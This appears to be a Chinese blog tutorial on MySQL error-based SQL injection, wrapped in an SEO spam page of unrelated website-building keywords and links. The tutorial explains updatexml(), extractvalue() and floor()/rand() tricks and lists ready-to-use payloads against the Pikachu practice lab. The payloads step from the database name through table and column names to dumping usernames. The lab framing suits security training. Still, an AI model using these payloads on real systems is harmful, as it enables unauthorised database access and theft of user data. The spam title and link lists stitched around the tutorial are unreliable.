当前位置: 首页 > news >正文

java就是做网站的吗网站黄页推广软件

java就是做网站的吗,网站黄页推广软件,网站外链软件,哪里学网站建设与管理常用的用来报错的函数 updatexml() : 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。 extractvalue(): 函数也是MYSQL对XML文档数据进行查询的XPATH函数。 floor(): MYSQL中用来取整的函数。 思路: 在MySQL中使用一些指定的函数来制造报错&am…

常用的用来报错的函数
updatexml() :   函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
extractvalue(): 函数也是MYSQL对XML文档数据进行查询的XPATH函数。
floor():             MYSQL中用来取整的函数。

思路:

在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select / insert / update / delete 都可以使用报错来获取信息。

前提条件是后台没有屏蔽数据库报错信息,在语法发生错误时,会输出到前端。

updatexml()
Updatexm()函数作用: 改变(查找并替换) XML文档中符合条件的节点的值。
语法: UPDATEXML (xml document, XPathstring, new_value)

第一个参数: fiedname是String格式,为表中的字段名。
第二个参数: XPathstring (Xpath格式的字符串)。
第三个参数: new. value,String格式,替换查找到的符合条件的

Xpath定位必须是有效的,否则会发生错误。 

pikachu - 字符型注入(GET) 实验:

aa' and updatexml(1,concat(0x7e,database()),0)#// 0x7e  是 ~ 的十六进制 ,避免报错信息被吃掉;

如果没有concat ,而是aa' and updatexml(1,database(),0)#   

这样报错信息会少一部分,没法完全展示;

获取到了数据库名称 pikachu,我们可以把 database() 替换成任意我们想要获得的东西。

得到数据库名称后,根据数据库名,查询表名

aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu')),0)#
// 中间的select 语句要用() 括号括起来//查询报多于一行
aa' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 1)),0)#

使用上述语句,查到第一张表名;继续使用limit 1,1   或 limit 2,1 查询下去,可以把所有的表名查询出来; 或者burp suite  参数化查询把所有表查出来。

得到表名后,可以根据表名查询字段名

aa' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0)#

得到所有列名。可以根据列名获取数据

aa' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#


extractvalue()

extractvalue()函数作用:从目标XML中返回包含所查询值的字符串。
语法: ExtractValue(xm| _document, xpath. string)

第一个参数: XML document是String格式,为XML文档对象的名称,文中为Doc
第二个参数: XPath_ string (Xpath格式的字符串)

Xpath定位必须是有效的,否则会发生错误。
打开字符型注入,输入payload。

aa' and extractvalue(0,concat(0x7e,version()))#


效果差不多,理解以此类推即可。

floor()

原因:floor()报错注入的原因是 groupby 在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前 concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或数执行后的结果。

floor()函数:对传入的值进行向下取整操作,并返回结果,如floor(1.999),则返回1 ;

rand()函数,返回随机数

rand(x)函数,x在这里代表参数,当rand()函数有了参数后,生成的就是伪随机数,什么意思呢?比如你使用rand(0)产生的第一个随机数产生的随机数相同,也就是当rand(x)这个参数x已知的时候我们就能知道;

在字符型中输入payload得到版本号。

aa' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#


 

http://www.khdw.cn/news/55472.html

相关文章:

  • 网站被惩罚之后怎么做关键词上首页的有效方法
  • 公司找人做网站需要什么长春最新发布信息
  • 手机视频网站设计app怎么开发出来的
  • 做外贸网站信息举例说明什么是seo
  • 网站查外链营销qq下载
  • 建设银行网站电脑版电商网站建设价格
  • 外贸网站推广方案我想开个网站平台怎么开呢
  • 中小企业网站制作多少钱百度怎么做自己的网页
  • qq网站在线客服代码生成网址搜索引擎
  • 珠海网站外链怎么发
  • 淘客网站怎么做返利软文是什么样子的
  • 制作网站的花多少钱中国万网域名注册
  • 东营网站建设天锐科技网络推广服务费
  • 优秀国外网站哈尔滨seo关键字优化
  • 织梦网站免费模板免费网络营销软件
  • 网站开发报价表的文档网络营销与策划试题及答案
  • 网站建设会议报道重庆seo整站优化报价
  • 网站建设方案策划书ppt模板下载陕西seo排名
  • 自己制作网站海洋网络推广效果
  • 网站开发java如何增加网站的外链
  • 班级网站 建设目标公司网站建设公司好
  • 长沙市住房城乡建设委官方网站广告代运营公司
  • 个人信息网站模板免费网站统计
  • 重庆商业网站有哪些网站定制设计
  • 淘宝在哪个网站做推广免费网站提交入口
  • dedecms做门户网站广州网站推广
  • 河北网站制作报价简述网站建设的一般流程
  • 社交app网站开发免费淘宝关键词工具
  • 网站在线留言如何做营销qq官网
  • 网站建设盈利seo岗位是什么意思